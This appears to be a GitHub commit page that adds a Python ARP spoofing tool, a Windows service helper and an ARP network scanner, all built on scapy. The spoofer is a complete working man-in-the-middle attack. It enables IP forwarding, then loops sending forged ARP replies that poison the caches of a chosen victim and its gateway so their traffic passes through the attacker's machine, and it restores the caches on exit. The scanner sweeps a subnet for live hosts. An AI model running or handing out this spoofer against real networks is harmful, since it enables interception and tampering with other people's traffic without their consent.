Skip to content

Commit eff47fa

Browse files
committed
added network scanner & arp spoofer
1 parent 8536d6a commit eff47fa

File tree

3 files changed

+218
-0
lines changed

3 files changed

+218
-0
lines changed

arp-spoofer/arp_spoof.py

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
from scapy.all import Ether, ARP, srp, send
2+
import argparse
3+
import time
4+
import os
5+
import sys
6+
7+
def _enable_linux_iproute():
8+
"""
9+
Enables IP route ( IP Forward ) in linux-based distro
10+
"""
11+
file_path = "/proc/sys/net/ipv4/ip_forward"
12+
with open(file_path) as f:
13+
if f.read() == 1:
14+
# already enabled
15+
return
16+
with open(file_path, "w") as f:
17+
print(1, file=f)
18+
19+
20+
def _enable_windows_iproute():
21+
"""
22+
Enables IP route (IP Forwarding) in Windows
23+
"""
24+
from services import WService
25+
# enable Remote Access service
26+
service = WService("RemoteAccess")
27+
service.start()
28+
29+
30+
def enable_ip_route(verbose=True):
31+
"""
32+
Enables IP forwarding
33+
"""
34+
if verbose:
35+
print("[!] Enabling IP Routing...")
36+
_enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
37+
if verbose:
38+
print("[!] IP Routing enabled.")
39+
40+
41+
def get_mac(ip):
42+
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
43+
if ans:
44+
return ans[0][1].src
45+
46+
47+
def spoof(target_ip, host_ip, verbose=True):
48+
"""
49+
Spoofs `target_ip` saying that we are `host_ip`.
50+
it is accomplished by changing the ARP cache of the target (poisoning)
51+
"""
52+
# get the mac address of the target
53+
target_mac = get_mac(target_ip)
54+
# craft the arp 'is-at' operation packet, in other words; an ARP response
55+
# we don't specify 'hwsrc' (source MAC address)
56+
# because by default, 'hwsrc' is the real MAC address of the sender
57+
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
58+
# send the packet
59+
# verbose = 0 means that we send the packet without printing any thing
60+
send(arp_response, verbose=0)
61+
if verbose:
62+
# get the MAC address of the default interface we are using
63+
self_mac = ARP().hwsrc
64+
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
65+
66+
67+
def restore(target_ip, host_ip, verbose=True):
68+
"""
69+
Restores the normal process of a regular network
70+
This is done by sending the original informations
71+
(real IP and MAC of `host_ip` ) to `target_ip`
72+
"""
73+
# get the real MAC address of target
74+
target_mac = get_mac(target_ip)
75+
# get the real MAC address of spoofed (gateway, i.e router)
76+
host_mac = get_mac(host_ip)
77+
# crafting the restoring packet
78+
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
79+
# sending the restoring packet
80+
# to restore the network to its normal process
81+
# we send each reply seven times for a good measure (count=7)
82+
send(arp_response, verbose=0, count=7)
83+
if verbose:
84+
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
85+
86+
87+
if __name__ == "__main__":
88+
parser = argparse.ArgumentParser(description="ARP spoof script")
89+
parser.add_argument("target", help="Victim IP Address to ARP poison")
90+
parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)")
91+
parser.add_argument("-v", "--verbose", action="store_true", help="verbosity, default is True (simple message each second)")
92+
args = parser.parse_args()
93+
target, host, verbose = args.target, args.host, args.verbose
94+
95+
enable_ip_route()
96+
try:
97+
while True:
98+
# telling the `target` that we are the `host`
99+
spoof(target, host, verbose)
100+
# telling the `host` that we are the `target`
101+
spoof(host, target, verbose)
102+
# sleep for one second
103+
time.sleep(1)
104+
except KeyboardInterrupt:
105+
print("[!] Detected CTRL+C ! restoring the network, please wait...")
106+
restore(target, host)
107+
restore(host, target)

arp-spoofer/services.py

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
import win32serviceutil
2+
import time
3+
4+
5+
class WService:
6+
7+
def __init__(self, service, machine=None, verbose=False):
8+
self.service = service
9+
self.machine = machine
10+
self.verbose = verbose
11+
12+
@property
13+
def running(self):
14+
return win32serviceutil.QueryServiceStatus(self.service)[1] == 4
15+
16+
def start(self):
17+
if not self.running:
18+
win32serviceutil.StartService(self.service)
19+
time.sleep(1)
20+
if self.running:
21+
if self.verbose:
22+
print(f"[+] {self.service} started successfully.")
23+
return True
24+
else:
25+
if self.verbose:
26+
print(f"[-] Cannot start {self.service}")
27+
return False
28+
elif self.verbose:
29+
print(f"[!] {self.service} is already running.")
30+
31+
def stop(self):
32+
if self.running:
33+
win32serviceutil.StopService(self.service)
34+
time.sleep(0.5)
35+
if not self.running:
36+
if self.verbose:
37+
print(f"[+] {self.service} stopped successfully.")
38+
return True
39+
else:
40+
if self.verbose:
41+
print(f"[-] Cannot stop {self.service}")
42+
return False
43+
elif self.verbose:
44+
print(f"[!] {self.service} is not running.")
45+
46+
def restart(self):
47+
if self.running:
48+
win32serviceutil.RestartService(self.service)
49+
time.sleep(2)
50+
if self.running:
51+
if self.verbose:
52+
print(f"[+] {self.service} restarted successfully.")
53+
return True
54+
else:
55+
if self.verbose:
56+
print(f"[-] Cannot start {self.service}")
57+
return False
58+
elif self.verbose:
59+
print(f"[!] {self.service} is not running.")
60+
61+
62+
def main(action, service):
63+
service = WService(service, verbose=True)
64+
if action == "start":
65+
service.start()
66+
elif action == "stop":
67+
service.stop()
68+
elif action == "restart":
69+
service.restart()
70+
71+
# getattr(remoteAccessService, action, "start")()
72+
73+
if __name__ == "__main__":
74+
import argparse
75+
parser = argparse.ArgumentParser(description="Windows Service Handler")
76+
parser.add_argument("service")
77+
parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or 'restart'",
78+
action="store", required=True, dest="action")
79+
80+
given_args = parser.parse_args()
81+
82+
service, action = given_args.service, given_args.action
83+
84+
main(action, service)
85+

network-scanner/network_scanner.py

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
from scapy.all import ARP, Ether, srp
2+
3+
target_ip = "192.168.1.1/24"
4+
# IP Address for the destination
5+
# create ARP packet
6+
arp = ARP(pdst=target_ip)
7+
# create the Ether broadcast packet
8+
# ff:ff:ff:ff:ff:ff MAC address indicates broadcasting
9+
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
10+
# stack them
11+
packet = ether/arp
12+
13+
result = srp(packet, timeout=3, verbose=0)[0]
14+
15+
# a list of clients, we will fill this in the upcoming loop
16+
clients = []
17+
18+
for sent, received in result:
19+
# for each response, append ip and mac address to `clients` list
20+
clients.append({'ip': received.psrc, 'mac': received.hwsrc})
21+
22+
# print clients
23+
print("Available devices in the network:")
24+
print("IP" + " "*18+"MAC")
25+
for client in clients:
26+
print("{:16} {}".format(client['ip'], client['mac']))

0 commit comments

Comments
 (0)